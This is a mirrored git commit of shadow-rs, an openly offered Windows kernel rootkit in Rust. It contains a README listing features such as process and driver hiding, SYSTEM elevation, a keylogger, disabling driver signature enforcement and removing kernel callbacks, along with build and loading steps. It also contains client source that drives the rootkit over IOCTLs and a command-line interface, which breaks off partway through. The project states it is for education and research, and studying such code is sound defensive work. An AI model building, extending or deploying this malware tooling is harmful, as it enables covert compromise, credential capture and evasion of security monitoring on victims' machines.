mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2025-12-18 15:54:33 +01:00
shadow-rs
This commit is contained in:
21
LICENSE
Normal file
21
LICENSE
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2022 joaoviictorti
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
154
README.md
Normal file
154
README.md
Normal file
@@ -0,0 +1,154 @@
|
|||||||
|
# Windows Kernel Rootkit in Rust (shadow-rs) 🦀
|
||||||
|
|
||||||
|

|
||||||
|

|
||||||
|

|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Notice](#notice)
|
||||||
|
* [Legal notice](#legal-notice)
|
||||||
|
* [Overview](#overview)
|
||||||
|
* [Features](#contents)
|
||||||
|
* [Build Instructions](#build-instructions)
|
||||||
|
* [Driver](#driver)
|
||||||
|
* [Client](#client)
|
||||||
|
* [Setup Instructions](#setup-instructions)
|
||||||
|
* [Enable Test Mode](#enable-test-mode)
|
||||||
|
* [Debug via Windbg](#debug-via-windbg)
|
||||||
|
* [Create/Start Service](#createstart-service)
|
||||||
|
* [Upcoming Features](#upcoming-Features)
|
||||||
|
* [Credits / References](#references)
|
||||||
|
|
||||||
|
## Notice
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> This project is under development.
|
||||||
|
|
||||||
|
## Legal Notice
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> This project is for educational and research purposes. Malicious use of the software is strictly prohibited and discouraged. I am not responsible for any damage caused by improper use of the software.
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
This project, called shadow-rs, is designed to create a rootkit in the Windows kernel using the Rust language. The aim is to demonstrate advanced techniques for developing rootkits, taking advantage of the security and performance features of the Rust language.
|
||||||
|
## Features
|
||||||
|
|
||||||
|
#### Process
|
||||||
|
- Process (Hide / Unhide) ✅
|
||||||
|
- Process Signature (PP / PPL) ✅
|
||||||
|
- Process Protection (Anti-Kill / Dumping) ✅
|
||||||
|
- Elevate Process to System ✅
|
||||||
|
- Terminate Process ✅
|
||||||
|
|
||||||
|
#### Thread
|
||||||
|
- Thread (Hide / Unhide) ✅
|
||||||
|
- Thread Protection (Anti-Kill) ✅
|
||||||
|
|
||||||
|
#### Driver
|
||||||
|
- Driver (Hide / Unhide) ✅
|
||||||
|
- Enumerate Driver ✅
|
||||||
|
|
||||||
|
#### Driver Signature Enforcement
|
||||||
|
- DSE (Enable / Disable) ✅
|
||||||
|
|
||||||
|
#### Keylogger
|
||||||
|
- Keylogger (Start / Stop) ✅
|
||||||
|
|
||||||
|
#### Callbacks
|
||||||
|
- PsSetCreateProcessNotifyRoutine ✅
|
||||||
|
- PsSetCreateThreadNotifyRoutine ✅
|
||||||
|
- PsSetLoadImageNotifyRoutine ✅
|
||||||
|
|
||||||
|
#### Module
|
||||||
|
- Enumerate Module ✅
|
||||||
|
|
||||||
|
#### Registry
|
||||||
|
- Registry Protection (Anti-Deletion e Overwriting) ✅
|
||||||
|
|
||||||
|
## Build Instructions
|
||||||
|
|
||||||
|
To build the project, ensure you have the Rust toolchain installed.
|
||||||
|
|
||||||
|
#### Driver
|
||||||
|
To build the driver, first go into the `driver` folder, then run the following command:
|
||||||
|
```sh
|
||||||
|
cargo make default --release
|
||||||
|
```
|
||||||
|
|
||||||
|
This driver can be manually mapped using `kdmapper`, for example, to put the mapping support, use the command:
|
||||||
|
```sh
|
||||||
|
cargo make default --release --features mapper
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Client
|
||||||
|
To build the client, first go into the `client` folder, then run the following command:
|
||||||
|
```sh
|
||||||
|
cargo build --releease
|
||||||
|
```
|
||||||
|
|
||||||
|
Since some rootkit features are not supported due to manual driver mapping, use the following command to build the client with only the commands that can be performed with manual mapping:
|
||||||
|
```sh
|
||||||
|
cargo build --release --features mapper
|
||||||
|
```
|
||||||
|
|
||||||
|
## Setup Instructions
|
||||||
|
|
||||||
|
#### Enable Test Mode or Test Signing Mode
|
||||||
|
|
||||||
|
```
|
||||||
|
bcdedit /set testsigning on
|
||||||
|
```
|
||||||
|
|
||||||
|
#### [Optional] Debug via Windbg
|
||||||
|
|
||||||
|
```
|
||||||
|
bcdedit /debug on
|
||||||
|
bcdedit /dbgsettings net hostip:<IP> port:<PORT>
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Create / Start Service
|
||||||
|
|
||||||
|
You can use [Service Control Manager](https://docs.microsoft.com/en-us/windows/win32/services/service-control-manager) or [OSR Driver Loader](https://www.osronline.com/article.cfm%5Earticle=157.htm) to load your driver.
|
||||||
|
|
||||||
|
## Upcoming Features
|
||||||
|
|
||||||
|
These are some of the features that will be added, but there are many more on the way
|
||||||
|
|
||||||
|
#### Callbacks
|
||||||
|
- CmRegisterCallbackEx ❌
|
||||||
|
- ObRegisterCallbacks ❌
|
||||||
|
|
||||||
|
#### Registry
|
||||||
|
- Hide Key and Values ❌
|
||||||
|
|
||||||
|
#### Module
|
||||||
|
- Hide Module ❌
|
||||||
|
|
||||||
|
#### Port
|
||||||
|
- Hide port ❌
|
||||||
|
#### File
|
||||||
|
- Hide File / Directory ❌
|
||||||
|
- Anti-Deletion e Overwriting ❌
|
||||||
|
|
||||||
|
#### Injection
|
||||||
|
- APC ❌
|
||||||
|
- NtCreateThreadEx ❌
|
||||||
|
|
||||||
|
## Credits / References
|
||||||
|
- https://leanpub.com/windowskernelprogrammingsecondedition
|
||||||
|
- https://www.youtube.com/watch?v=t7Rx3crobZU&pp=ugMICgJwdBABGAHKBRBibGFja2hhdCByb290a2l0
|
||||||
|
- https://github.com/memN0ps/eagle-rs
|
||||||
|
- https://www.amazon.com/Rootkits-Bootkits-Reversing-Malware-Generation/dp/1593277164
|
||||||
|
- https://github.com/Idov31/Nidhogg
|
||||||
|
- https://www.unknowncheats.me/
|
||||||
|
- https://www.amazon.com.br/Rootkit-Arsenal-Escape-Evasion-Corners/dp/144962636X
|
||||||
|
- https://github.com/eversinc33/Banshee
|
||||||
|
- https://synzack.github.io/Blinding-EDR-On-Windows/
|
||||||
|
- https://github.com/JKornev/hidden
|
||||||
|
- https://www.amazon.com.br/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319
|
||||||
|
- https://github.com/mirror/reactos
|
||||||
|
- https://github.com/Kharos102/ReadWriteDriverSample
|
||||||
2
client/.gitignore
vendored
Normal file
2
client/.gitignore
vendored
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
/target
|
||||||
|
/src/injection.rs
|
||||||
279
client/Cargo.lock
generated
Normal file
279
client/Cargo.lock
generated
Normal file
@@ -0,0 +1,279 @@
|
|||||||
|
# This file is automatically @generated by Cargo.
|
||||||
|
# It is not intended for manual editing.
|
||||||
|
version = 3
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstream"
|
||||||
|
version = "0.6.14"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "418c75fa768af9c03be99d17643f93f79bbba589895012a80e3452a19ddda15b"
|
||||||
|
dependencies = [
|
||||||
|
"anstyle",
|
||||||
|
"anstyle-parse",
|
||||||
|
"anstyle-query",
|
||||||
|
"anstyle-wincon",
|
||||||
|
"colorchoice",
|
||||||
|
"is_terminal_polyfill",
|
||||||
|
"utf8parse",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstyle"
|
||||||
|
version = "1.0.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "038dfcf04a5feb68e9c60b21c9625a54c2c0616e79b72b0fd87075a056ae1d1b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstyle-parse"
|
||||||
|
version = "0.2.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c03a11a9034d92058ceb6ee011ce58af4a9bf61491aa7e1e59ecd24bd40d22d4"
|
||||||
|
dependencies = [
|
||||||
|
"utf8parse",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstyle-query"
|
||||||
|
version = "1.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ad186efb764318d35165f1758e7dcef3b10628e26d41a44bc5550652e6804391"
|
||||||
|
dependencies = [
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstyle-wincon"
|
||||||
|
version = "3.0.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19"
|
||||||
|
dependencies = [
|
||||||
|
"anstyle",
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap"
|
||||||
|
version = "4.5.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "84b3edb18336f4df585bc9aa31dd99c036dfa5dc5e9a2939a722a188f3a8970d"
|
||||||
|
dependencies = [
|
||||||
|
"clap_builder",
|
||||||
|
"clap_derive",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap_builder"
|
||||||
|
version = "4.5.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c1c09dd5ada6c6c78075d6fd0da3f90d8080651e2d6cc8eb2f1aaa4034ced708"
|
||||||
|
dependencies = [
|
||||||
|
"anstream",
|
||||||
|
"anstyle",
|
||||||
|
"clap_lex",
|
||||||
|
"strsim",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap_derive"
|
||||||
|
version = "4.5.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2bac35c6dafb060fd4d275d9a4ffae97917c13a6327903a8be2153cd964f7085"
|
||||||
|
dependencies = [
|
||||||
|
"heck",
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap_lex"
|
||||||
|
version = "0.7.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4b82cf0babdbd58558212896d1a4272303a57bdb245c2bf1147185fb45640e70"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "client"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"clap",
|
||||||
|
"shared",
|
||||||
|
"winapi",
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "colorchoice"
|
||||||
|
version = "1.0.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "heck"
|
||||||
|
version = "0.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "is_terminal_polyfill"
|
||||||
|
version = "1.70.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ntapi"
|
||||||
|
version = "0.4.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4"
|
||||||
|
dependencies = [
|
||||||
|
"winapi",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "proc-macro2"
|
||||||
|
version = "1.0.85"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "22244ce15aa966053a896d1accb3a6e68469b97c7f33f284b99f0d576879fc23"
|
||||||
|
dependencies = [
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "quote"
|
||||||
|
version = "1.0.36"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "shared"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"ntapi",
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "strsim"
|
||||||
|
version = "0.11.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "syn"
|
||||||
|
version = "2.0.66"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c42f3f41a2de00b01c0aaad383c5a45241efc8b2d1eda5661812fda5f3cdcff5"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "unicode-ident"
|
||||||
|
version = "1.0.12"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "utf8parse"
|
||||||
|
version = "0.2.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "winapi"
|
||||||
|
version = "0.3.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
|
||||||
|
dependencies = [
|
||||||
|
"winapi-i686-pc-windows-gnu",
|
||||||
|
"winapi-x86_64-pc-windows-gnu",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "winapi-i686-pc-windows-gnu"
|
||||||
|
version = "0.4.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "winapi-x86_64-pc-windows-gnu"
|
||||||
|
version = "0.4.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-sys"
|
||||||
|
version = "0.52.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
|
||||||
|
dependencies = [
|
||||||
|
"windows-targets",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-targets"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb"
|
||||||
|
dependencies = [
|
||||||
|
"windows_aarch64_gnullvm",
|
||||||
|
"windows_aarch64_msvc",
|
||||||
|
"windows_i686_gnu",
|
||||||
|
"windows_i686_gnullvm",
|
||||||
|
"windows_i686_msvc",
|
||||||
|
"windows_x86_64_gnu",
|
||||||
|
"windows_x86_64_gnullvm",
|
||||||
|
"windows_x86_64_msvc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_gnullvm"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_msvc"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_gnu"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_gnullvm"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_msvc"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnu"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnullvm"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_msvc"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0"
|
||||||
13
client/Cargo.toml
Normal file
13
client/Cargo.toml
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
[package]
|
||||||
|
name = "client"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
clap = { version = "4.5.6", features = ["derive"] }
|
||||||
|
winapi = "0.3.9"
|
||||||
|
windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] }
|
||||||
|
shared = { path = "../shared" }
|
||||||
|
|
||||||
|
[features]
|
||||||
|
mapper = []
|
||||||
114
client/src/callback.rs
Normal file
114
client/src/callback.rs
Normal file
@@ -0,0 +1,114 @@
|
|||||||
|
use {
|
||||||
|
crate::{cli::Callbacks, driver::open_driver},
|
||||||
|
std::{ptr::null_mut, mem::size_of, ffi::c_void},
|
||||||
|
shared::structs::{CallbackInfoInput, CallbackInfoOutput},
|
||||||
|
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
|
||||||
|
};
|
||||||
|
|
||||||
|
pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let mut callback_info: [CallbackInfoOutput; 400] = unsafe { std::mem::zeroed() };
|
||||||
|
let mut input_callback = CallbackInfoInput {
|
||||||
|
index: 0,
|
||||||
|
callback: callback.to_shared()
|
||||||
|
};
|
||||||
|
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut input_callback as *mut _ as *mut c_void,
|
||||||
|
size_of::<CallbackInfoInput>() as u32,
|
||||||
|
callback_info.as_mut_ptr() as *mut _,
|
||||||
|
(callback_info.len() * size_of::<CallbackInfoOutput>()) as u32,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
let total_module = return_buffer as usize / size_of::<CallbackInfoOutput>();
|
||||||
|
println!("[+] Total modules: {}", total_module);
|
||||||
|
for i in callback_info.iter() {
|
||||||
|
if i.address > 0 {
|
||||||
|
let name = match String::from_utf16(&i.name) {
|
||||||
|
Ok(name) => name,
|
||||||
|
Err(err) => {
|
||||||
|
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let mut callback_info = CallbackInfoInput {
|
||||||
|
index,
|
||||||
|
callback: callback.to_shared()
|
||||||
|
};
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut callback_info as *mut _ as *mut c_void,
|
||||||
|
size_of::<CallbackInfoInput>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
println!("[+] Remove Callback: {index}");
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let mut callback_info = CallbackInfoInput {
|
||||||
|
index,
|
||||||
|
callback: callback.to_shared()
|
||||||
|
};
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut callback_info as *mut _ as *mut c_void,
|
||||||
|
size_of::<CallbackInfoInput>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
println!("[+] Restore Callback: {index}");
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
301
client/src/cli.rs
Normal file
301
client/src/cli.rs
Normal file
@@ -0,0 +1,301 @@
|
|||||||
|
#![allow(non_camel_case_types)]
|
||||||
|
|
||||||
|
use clap::{arg, Parser, Subcommand, ValueHint};
|
||||||
|
|
||||||
|
/// The main command-line interface struct.
|
||||||
|
#[derive(Parser)]
|
||||||
|
#[clap(author="joaoviictorti", about="Client Shadow", long_about = None)]
|
||||||
|
pub struct Cli {
|
||||||
|
/// The command to be executed.
|
||||||
|
#[command(subcommand)]
|
||||||
|
pub command: Commands,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enum representing the available top-level commands.
|
||||||
|
#[derive(Subcommand)]
|
||||||
|
pub enum Commands {
|
||||||
|
/// Operations related to processes.
|
||||||
|
Process {
|
||||||
|
/// Subcommands for process operations.
|
||||||
|
#[command(subcommand)]
|
||||||
|
sub_command: ProcessCommands,
|
||||||
|
},
|
||||||
|
/// Operations related to threads.
|
||||||
|
Thread {
|
||||||
|
/// Subcommands for thread operations.
|
||||||
|
#[command(subcommand)]
|
||||||
|
sub_command: ThreadCommands,
|
||||||
|
},
|
||||||
|
/// Operations related to drivers.
|
||||||
|
Driver {
|
||||||
|
/// Hide the driver.
|
||||||
|
#[arg(long)]
|
||||||
|
hide: bool,
|
||||||
|
|
||||||
|
/// Unhide the driver
|
||||||
|
#[arg(long)]
|
||||||
|
unhide: bool,
|
||||||
|
|
||||||
|
/// Enumerate the drivers.
|
||||||
|
#[arg(long)]
|
||||||
|
list: bool,
|
||||||
|
|
||||||
|
/// Name Driver
|
||||||
|
#[arg(long, value_hint = ValueHint::FilePath, value_parser = validate_sys_extension)]
|
||||||
|
name: Option<String>
|
||||||
|
},
|
||||||
|
/// Operations related to DSE (Driver Signature Enforcement).
|
||||||
|
DSE {
|
||||||
|
/// Disable DSE.
|
||||||
|
#[arg(long)]
|
||||||
|
disable: bool,
|
||||||
|
|
||||||
|
/// Enable DSE.
|
||||||
|
#[arg(long)]
|
||||||
|
enable: bool,
|
||||||
|
},
|
||||||
|
/// Operations related to Keylogger.
|
||||||
|
Keylogger {
|
||||||
|
/// Stop the keylogger.
|
||||||
|
#[arg(long)]
|
||||||
|
stop: bool,
|
||||||
|
|
||||||
|
/// Start the keylogger.
|
||||||
|
#[arg(long)]
|
||||||
|
start: bool,
|
||||||
|
},
|
||||||
|
/// Operations related to Registry.
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
Registry {
|
||||||
|
/// name of the key to be protected
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
key: String,
|
||||||
|
|
||||||
|
/// name of the value key to be protected
|
||||||
|
#[arg(short, long)]
|
||||||
|
name: Option<String>,
|
||||||
|
|
||||||
|
/// Add protection.
|
||||||
|
#[arg(short, long)]
|
||||||
|
add: bool,
|
||||||
|
|
||||||
|
/// Remove protection.
|
||||||
|
#[arg(short, long)]
|
||||||
|
remove: bool,
|
||||||
|
},
|
||||||
|
/// Operations related to Module.
|
||||||
|
Module {
|
||||||
|
/// The process ID for enumerate modules.
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
pid: u32,
|
||||||
|
},
|
||||||
|
/// Operations related to Callback.
|
||||||
|
Callback {
|
||||||
|
/// Enumerate callback.
|
||||||
|
#[arg(long)]
|
||||||
|
list: bool,
|
||||||
|
|
||||||
|
/// Remove callback.
|
||||||
|
#[arg(long)]
|
||||||
|
remove: Option<usize>,
|
||||||
|
|
||||||
|
/// Select callback.
|
||||||
|
#[arg(long, required = true)]
|
||||||
|
callback: Callbacks,
|
||||||
|
|
||||||
|
// Restore callback.
|
||||||
|
#[arg(long)]
|
||||||
|
restore: Option<usize>,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enum representing the subcommands for process operations.
|
||||||
|
#[derive(Subcommand)]
|
||||||
|
pub enum ProcessCommands {
|
||||||
|
/// Elevate the process.
|
||||||
|
Elevate {
|
||||||
|
/// The process ID to elevate.
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
pid: u32,
|
||||||
|
},
|
||||||
|
/// Hide the process.
|
||||||
|
Hide {
|
||||||
|
/// The process ID to hide.
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
pid: u32,
|
||||||
|
},
|
||||||
|
/// Unhide the process.
|
||||||
|
Unhide {
|
||||||
|
/// The process ID to unhide.
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
pid: u32,
|
||||||
|
},
|
